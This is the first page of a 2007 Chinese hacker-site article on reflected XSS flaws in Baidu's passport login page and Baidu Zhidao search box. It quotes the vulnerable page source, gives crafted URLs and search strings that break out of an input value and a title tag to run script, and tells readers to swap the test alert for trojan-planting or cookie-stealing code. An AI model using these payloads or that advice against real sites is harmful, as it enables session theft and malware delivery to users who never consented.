黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图
您现在的位置: 黑客风云 >> 黑客文章 >> 黑客进阶 >> 脚本入侵 >> 文章正文
[组图]全面解析百度XSS跨站漏洞
      ★★★★★
全面解析百度XSS跨站漏洞
文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2007-3-26
XSS给百度沉痛有一击--全面解析百度XSS跨站漏洞,前些时间就出现问题,那知道至今仍旧存在!

前一阵百度传出了input XSS漏洞,我也写也篇稿子在论坛上,今天再次来到百度,到处转了一下,结果再次发现百度多处XSS漏洞,而且在“百度知道”中发现的洞洞更是让我狂汗,下面听我一一介绍,其中百度输入框XSS漏洞不是我发布的,在同时我给大家也讲一讲,后面的都是我发现的,OK,大家跟着我探洞吧!  

1.百度用户登陆框XSS漏洞  

这个漏洞网上前一阵有人公布了,但到现在了,漏洞还没有补了,且看原理:

登陆:http://passport.baidu.com/?login我们在用户名那输入"<>"(不包括双引号"然后密码随便吧,然后点击登陆!当然不能成功登陆的,百度提示我们:“用户名格式错误,请重新输入”,如图1

在这个页面上我们查看源码,找到用户名输入框这块的代码:

以下是引用片段:
<tr><td colspan=2 align=left style="color: red ;">用户名格式错误,请重新输入</td></tr> 
<tr>      
<td width="56" >用户名:</td><td width="156">
<input type="text" id="username" value="<>"    class="ip"/></td> </tr>
<tr> <td >密 码:</td> t3;s GxQ <td><input type="password" value="opiasduf" /></td> </tr> 
<tr><td > </td>  
<td> <input type="submit" value=" 登录 "/> <a href="./?getpass">忘记密码?</a></td></tr>

如上,在代码中我们清析的看到了我们输入的"<>",而跨站最怕的就是对这二个字符进行转换,而百度显然忘了,那么我们尝试在用户名框输入跨站代码,但用户名输入框却对用户名输入字数做了限制,不够我们的跨站代码。当然这并不会难倒我们的,因为我们可以URL编码,于是我编码如下:http://passport.baidu.com/?login?&username="<script>alert(/lszm/)</script>"&passport=lszm  

直接访问,没有跨站效果,继续查看源码

以下是引用片段:
<td width="56" >用户名:</td> 
<td width="156"><input type="text" id="username" value="\"<script>alert(/lszm/)</script>\""  class="ip"/></td>
看到没有,<script>alert(/lszm/)</script>没有被做任何转换与过滤,没有效果的原因主要就是<和>将它屏蔽了,这不难,我们让它的“<”提前结束,“>“l提前开始就行了,我们再次构造URL:

http://passport.baidu.com/?login?&username="><script>alert(/lszm/)</script><"&passport=lszm

访问后,成功跨站了,如图2

至于跨站后能干什么,好多小菜都不明白,那我一句话带过吧,可以挂马,可以偷COOKIES。方法很简单,将上面URL中的<script>alert(/lszm/)</script>改成你的挂马代码或偷COOKIES代码就行啦!

2.百度知道XSS跨站

这个漏洞可以说要比上面严重多了,但相比之下方法却简单多了,因为不用我们URL编码,只要稍微对其自动改出的代码做一修改就行了!进入http://zhidao.baidu.com,最上面是一个搜索框,在那里我们可以进行答案与问题搜索,直接打入测试代码<script>alert(/lszm/)</script>, 然后搜索,没有跨站效果,查看源码

以下是引用片段:

<!--STATUS OK-->

<html>  

<head><base href="http://zhidao.baidu.com/">

<title>百度知道搜索_<script>alert(/lszm/)</script>        </title>

<meta http-equiv="Content-Type" c>

<link href="/iknow.css" rel="stylesheet" type="text/css">

直接在title标签中出现了我们的跨站代码,没有经过任何滤,没有效果仅仅是因为那个<title>和</title>将代码屏蔽了,两样的原理,让它们提前结束,与是我这样构造搜索关键字:

以下是引用片段:
</title><script>alert(/lszm/)</script>

 

[1] [2] [3] 下一页  

文章录入:cainiaowang    责任编辑:cainiaowang 
【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
ICP备案:冀06009886